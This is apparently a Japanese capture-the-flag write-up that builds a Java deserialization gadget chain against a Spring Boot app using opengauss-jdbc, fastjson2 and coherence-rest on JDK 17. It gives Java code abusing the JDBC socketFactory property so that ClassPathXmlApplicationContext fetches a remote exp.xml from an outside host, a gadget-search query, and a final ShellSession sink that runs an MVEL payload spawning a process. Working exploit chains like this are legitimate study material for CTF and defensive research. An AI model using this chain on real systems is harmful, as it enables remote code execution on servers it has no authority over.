環境#
依存関係は以下の通り、ネイティブ逆シリアル化エントリ、jdk バージョン 17、ネットワーク未接続
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.opengauss</groupId>
<artifactId>opengauss-jdbc</artifactId>
<version>2.0.1-compatibility</version>
</dependency>
<dependency>
<groupId>com.oracle.coherence.ce</groupId>
<artifactId>coherence-rest</artifactId>
<version>14.1.1-0-3</version>
</dependency>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.37</version>
</dependency>
</dependencies>
jdbc 利用#
本題の依存関係に opengauss-jdbc が存在することが観察できる。見たことはないが、コードとドキュメントから、postgre jdbc を改良したものであることがわかる。したがって、古典的な方法は socketFactory を利用して String パラメータのコンストラクタをトリガーすることである。
一般的なネットワーク利用方法は ClassPathXmlApplicationContext である。
public static void main(String[] args) throws Exception
{
String className = "org.springframework.context.support.ClassPathXmlApplicationContext";
String myargs = "http://192.168.13.1:8000/exp.xml";
Object dataSource = getDataSource(className, myargs);
}
public static Object getDataSource(String className, String myargs) throws Exception
{
Properties properties = new Properties();
properties.setProperty("socketFactory", className);
properties.setProperty("socketFactoryArg", myargs);
PGSimpleDataSource dataSource = new PGSimpleDataSource();
setFieldValue(dataSource, "properties", properties);
dataSource.setUser("test");
dataSource.setPassword("test");
dataSource.setServerName("localhost");
dataSource.setPortNumber(5432);
dataSource.setDatabaseName("test");
return dataSource;
}
したがって、利用チェーンの中間部分は jdbc と仮定できる。次に getter をトリガーし、sink を探す必要がある。
toString をトリガー#
jdk17 では EventListenerList または Xstring を使用できる。依存関係の中に他の利用チェーンが存在するかもしれない。
toString2getter#
初見では、利用可能なクラスは以下の通りである。
com.fasterxml.jackson.databind.node.BaseJsonNode
com.alibaba.fastjson2.JSONArray
com.huawei.shade.com.alibaba.fastjson.JSONArray
jackson
springboot 依存関係に自動的に含まれているので、自由に使用できる。
fastjson
fastjson に関しては、2.0.xx のバージョンが使用可能であり、com.alibaba.fastjson2.writer.ObjectWriterCreatorASM#createObjectWriter を参考にできる。
ただし、com.huawei.shade の JSONArray は autotype によって制限される。
最終 sink#
最後に、コンストラクタの sink ポイントが必要である。ここでは coherence-rest という依存関係から着手できる。これは weblogic の古典的な依存関係であり、多くの逆シリアル化ガジェットが存在する。我々が必要とするのは単なる sink ポイントであり、serializable を継承する必要はない。
cypher クエリは以下の通りである。
match (source:Method)
where (source.CLASSNAME starts with "com.tangosol." or source.CLASSNAME starts with "com.oracle.")
and source.NAME = "<init>"
and source.HAS_PARAMETERS = true
and source.PARAMETER_SIZE = 1
and source.SUB_SIGNATURE contains "<init>(java.lang.String)"
match (sink:Method{IS_SINK:true})
call tabby.algo.findPath(source, "-", sink, 8, false) yield path
return path limit 20
ShellSession
一つのチェーンの入口は com.tangosol.coherence.mvel2.sh.ShellSession#ShellSession (java.lang.String) である。
実行は mvel を実行できる。
ShellSession shellSession = new ShellSession("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()");